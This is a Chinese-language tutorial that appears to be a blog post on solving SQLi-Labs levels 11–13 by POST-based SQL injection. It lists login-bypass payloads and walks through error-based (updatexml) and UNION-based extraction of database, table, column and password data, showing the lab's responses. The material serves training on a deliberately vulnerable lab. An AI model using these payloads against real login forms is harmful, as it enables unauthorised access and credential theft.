SqliLab_Mysql_Injection详解_字符型注入(六)_POST型注入_UNION联合查询/报错注入(11~13)

1. SqliLab_Mysql_Injection详解_字符型注入(六)
1.1. SQL注入_POST型注入
1.1.1. 原理
  • 在登录处,用于用户名密码的判断会使用select语句;
    select uname and passwd from table where uname = ’ ’ and passwd = ’ ';
  • 在修改密码时,如果使用到数据库,会用到update语句;
    update table set passwd = ’ ’ where uname = ’ ’ ;
  • 在商城系统中,如订单的添加,删除,可能会使用到insert、delete语句;
    insert into table(uname,passwd) values(’ ‘,’ ’ )
    delete from table where uname = ’ ’
    (在不同的场景下,注入语句切换测试即可)
    POST型盲注通杀payload:uname=admin%df’or()or%200%23&passwd=1&submit=Submit
    常用的username语句
a' or 1=1 #
a ") or 1=1 #
a') or 1=1 #
a" or "1"="1
'or '1'='1
' or (length(database())) = 8 (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 
// (用于输入’ “都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null) #
") or (length(database())) = 8 #
") or (ascii(substr((select database()) ,1,1))) = 115 or
if(1=1, sleep(1), null) #
//个人推荐使用下面的语句
admin'#
admin')#
admin"#
admin")#
admin'or'1'='1#
//等等来构造恒真语句(密码随便输)
2. SqliLab关卡(包含11,12,13)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
2.1. SqliLab-11(POST 型注入(单引号闭合)):
2.1.1. 初始界面

在这里插入图片描述

2.1.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
在这里插入图片描述
EG:

uname=a or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确(预期正确),尝试用(or 1=2)进行构造;
uname=a' or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期错误),判断出参数‘uname’存在注入,闭合字符为【'】;

在这里插入图片描述
由此,判断出参数‘uname’存在POST注入(xor一样),闭合字符为【’】万能密码为(admin’#));
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;

uname=a'' or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),尝试用(')代替()进行构造;
uname=a'" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误有提示(预期错误有提示),存在SQL语句报错信息提示;

经过尝试,服务器返回页面存在SQL语句报错信息提示(可以尝试使用报错注入);
再次判断是否存在时间注入,通过判断出的闭合字符(’)以及登录成功查看到的一个用户名(Dumb)进行尝试;
EG:

uname=Dumb' and if(1=1,sleep(4),1) %23&passwd=1&submit=Submit
//服务器返回延迟为5秒(1秒查询,4秒休眠),尝试sleep(5);
uname=Dumb' and if(1=1,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回延迟为6秒(1秒查询,5秒休眠),尝试sleep(8);
uname=Dumb' and if(1=1,sleep(8),1) %23&passwd=1&submit=Submit
//服务器返回延迟为9秒(1秒查询,8秒休眠),尝试sleep(9);
uname=Dumb' and if(1=1,sleep(5),1) %23&passwd=1&submit=Submit
//服务器返回延迟为10秒(1秒查询,9秒休眠),基本可以判断参数(uname)存在时间注入;

在这里插入图片描述
经过测试,参数(uname)存在时间注入(布尔盲注同理);
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在回显和报错提示的情况,这时候就可以考虑利用UNION联合查询法查看显位以及报错注入和盲注的方式来获取想要获得信息;

2.1.3. 收集数据库信息

由于此次在判断注入点判断过程中,发现可以采取多种方式获取想要的信息,这里采用报错注入的方式(复习一下之前的知识);
EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数,version()函数,database()函数等构造payload;

uname=Dumb' and updatexml(1,concat(0x7c,version(),0x7c,database(),0x7c, user(),0x7c),1) %23&passwd=1&submit=Submit
//返回数据库的版本信息,当前使用数据库的名字,数据库用户;
...

已查询到数据库的版本信息,当前使用数据库的名字,数据库用户等;
在这里插入图片描述
查询到一些数据库信息如,数据库版本,数据库名等;

2.1.4. 查询Mysql中存在的其他数据库

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=Dumb' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) %23&passwd=1&submit=Submit
//服务器返回页面错误,但查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库,mid()函数来截取返回的较长字符串;
...
uname=Dumb' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) %23&passwd=1&submit=Submit
//从页面返回信息中成功看到最后的标识符(|),则说明查询信息完毕;

在这里插入图片描述

2.1.5. 查询当前数据库‘security’存在的表

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=Dumb' and updatexml(1,concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7c),1) %23&passwd=1&submit=Submit
//服务器返回页面错误,但查看到报错信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);

在这里插入图片描述
当前使用数据库中存在的表有(emails,referers,uagents,users)

2.1.6. 查询‘users’表的字段

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=Dumb' and updatexml(1,concat(0x7c,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7c),1) %23&passwd=1&submit=Submit
//服务器返回页面错误,但查看到报错信息显示了‘users’表的字段为(id,username,password)

在这里插入图片描述
‘users’表的字段为(id,username,password);

2.1.7. 查询‘users’表的字段值信息

EG:
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload;

uname=Dumb' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),1,32),1) %23&passwd=1&submit=Submit
//服务器返回页面错误,但查看到报错信息显示了‘users’表的字段值信息为(1,Dumb,Dumb|2,Angelina,I-kill|。。。。。。);
...
uname=Dumb' and updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,password,0x7c) from users),0x7e),202,32),1) %23&passwd=1&submit=Submit
//从页面返回信息中成功看到最后的标识符(~),则说明查询信息完毕;

在这里插入图片描述
在这里插入图片描述
查询其他的值也是同上面的方法一致;到此,POST型注入(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-11结束。

2.2. SqliLab-12(POST型注入(")闭合)):
2.2.1. 初始界面

在这里插入图片描述

2.2.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
在这里插入图片描述
EG:

uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=a) or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
uname=a] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
uname=a} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替(})进行构造;
uname=a') or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用("))代替('))进行构造;
uname=a") or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确(预期正确),尝试用(or 1=2)进行构造;
uname=a") or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期错误),判断出参数‘uname’存在注入,闭合字符为【")】;

在这里插入图片描述
由此,判断出参数‘uname’存在POST注入(xor一样),闭合字符为【")】万能密码为(admin")#));
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;

uname=a")' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误有提示(预期错误有提示),存在SQL语句报错信息提示;

在这里插入图片描述
经过尝试,服务器返回页面存在SQL语句报错信息提示(可以尝试使用报错注入);
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在回显和报错提示的情况,这时候就可以考虑利用UNION联合查询法查看显位以及报错注入来获取想要获得信息;

2.2.3. 收集数据库信息

由于此次在判断注入点判断过程中,发现可以采取多种方式获取想要的信息,这里采用UNION联合查询法查看显位的方式(相对比较快);
EG:
使用order by 猜解字段;

uname=a") order by 1 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),再尝试下面链接;
uname=a") order by 3 %23&passwd=1&submit=Submit
//服务器返回页面错误无提示(预期错误有提示),再尝试下面链接;
uname=a") order by 3 %23&passwd=1&submit=Submit
//服务器返回页面错误有提示(预期错误有提示),查询到字段为(2);

在这里插入图片描述
获取到字段数为(2);
EG:
使用union select ,version(),database()等函数获取数据库信息;

uname=a") union select version(),database() %23&passwd=1&submit=Submit
//服务器返回页面正确,查看到信息显示了当前使用数据库的版本为(MySQL5.5.53),当前使用数据库为(security);
...

在这里插入图片描述
查询到一些数据库信息如,数据库版本,数据库名等;

2.2.4. 查询Mysql中存在的其他数据库

EG:
使用union select ,group_concat()等函数获取Mysql中存在的其他数据库信息;

uname=a") union select 1,group_concat(schema_name) from information_schema.schemata %23&passwd=1&submit=Submit
//服务器返回页面正确,查看到信息显示了当前使用mysql中存在的数据库有
//(information_schema,challenges,mysql,performance_schema,security,test);

在这里插入图片描述
查询Mysql中存在的其他数据库有(information_schema,challenges,mysql,performance_schema,security,test);

2.2.5. 查询当前数据库‘security’存在的表

EG:
使用union select ,group_concat()等函数获取当前数据库‘security’存在的表信息;

uname=a") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23&passwd=1&submit=Submit
//服务器返回页面正确,查看到信息显示了当前使用数据库中存在的表有(emails,referers,uagents,users);

在这里插入图片描述
当前使用数据库中存在的表有(emails,referers,uagents,users)

2.2.6. 查询‘users’表的字段

EG:
使用union select ,group_concat()等函数获取 查询‘users’表的字段;

uname=a") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23&passwd=1&submit=Submit
//服务器返回页面正确,查看到信息显示了‘users’表的字段为(id,username,password);

在这里插入图片描述
查询‘users’表的字段为(id,username,password);

2.2.7. 查询‘users’表的字段值信息

EG:
使用union select ,group_concat()等函数获取想要的字段值信息;

uname=a") union select 1,group_concat(username,password) from users %23&passwd=1&submit=Submit
//服务器返回页面正确,查看到信息显示了‘users’表的字段值信息为(DumbDumb,AngelinaI-kill-you,Dummyp@ssword,securecrappy,stupidstupidity,supermangenious,batmanmob!le,adminadmin,admin1admin1,admin2admin2,admin3admin3,dhakkandumbo,admin4admin4);

在这里插入图片描述
查询其他的值也是同上面的方法一致;到此,POST型注入(报错注入)基础流程差不多就结束了,所需要的信息(数据库信息,表字段值等)差不多都已经搜集到了,SqliLab-12结束。

2.3. SqliLab-13(POST 型注入(’)闭合)):
2.3.1. 初始界面

在这里插入图片描述

2.3.2. 判断注入点(关键步骤)

由初始界面显示知道,可以看到需要我们输入username和password,根据登录的查询语句的一般结构,所以对username输入处构造判断注入点链接(截断后面语句方式);
尝试使用一般的单引号(’)闭合参数,由于之前遇到过没有使用闭合字符的例子,所以一开始先不使用闭合字符进行判断(通过浏览器的开发者调试查看页面标签元素,发现POST传送参数为uname和passwd);
EG:

uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(')代替()进行构造;
uname=a' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(")代替(')进行构造;
uname=a" or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用())代替(")进行构造;
uname=a) or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(])代替())进行构造;
uname=a] or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用(})代替(])进行构造;
uname=a} or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期正确),尝试用('))代替(})进行构造;
uname=a') or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面正确(预期正确),尝试用(or 1=2)进行构造;
uname=a') or 1=2 %23&passwd=1&submit=Submit
//服务器返回页面错误(预期错误),判断出参数‘uname’存在注入,闭合字符为【')】;

在这里插入图片描述
在这里插入图片描述
经过测试,参数‘uname’存在POST注入(xor一样),闭合字符为【’)】(万能密码为(admin’)#));
EG:
判断服务器返回页面是否存在SQL语句报错信息提示;

uname=a')' or 1=1 %23&passwd=1&submit=Submit
//服务器返回页面错误有提示(预期错误有提示),存在SQL语句报错信息提示;

在这里插入图片描述
在注入点判断过程中,可以发现,服务器在接受请求后,返回的页面存在无回显和有报错提示的情况,这时候如果再利用UNION联合查询法查看显位的方式就失效了,可以采用报错注入的方式来获取想要的信息,具体流程和SqliLab-11的一模一样(只是payload的URL链接(11转变为13)和参数的字符闭合方式发生变化(‘转变为’)),SqliLab-13结束;

3. 总结

POST型注入原理和GET型注入的差不多,变化的是参数的传递方式,根据构造的payload和服务器页面返回结果,采用适合的注入方式获取数据库信息,如返回页面有回显,考虑UNION联合查询,有报错提示,考虑报错注入,只有页面的正确与错误的变化,则是盲注,要是页面始终不变,可以考虑时间盲注等,最后,通过大量的练习,发现,最重要的注入步骤还是在注入点的判断,注入点的成功判断,才能为后面的payload构造做基础。

[如有错误,请指出,拜托了<( _ _ )> !!!]

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值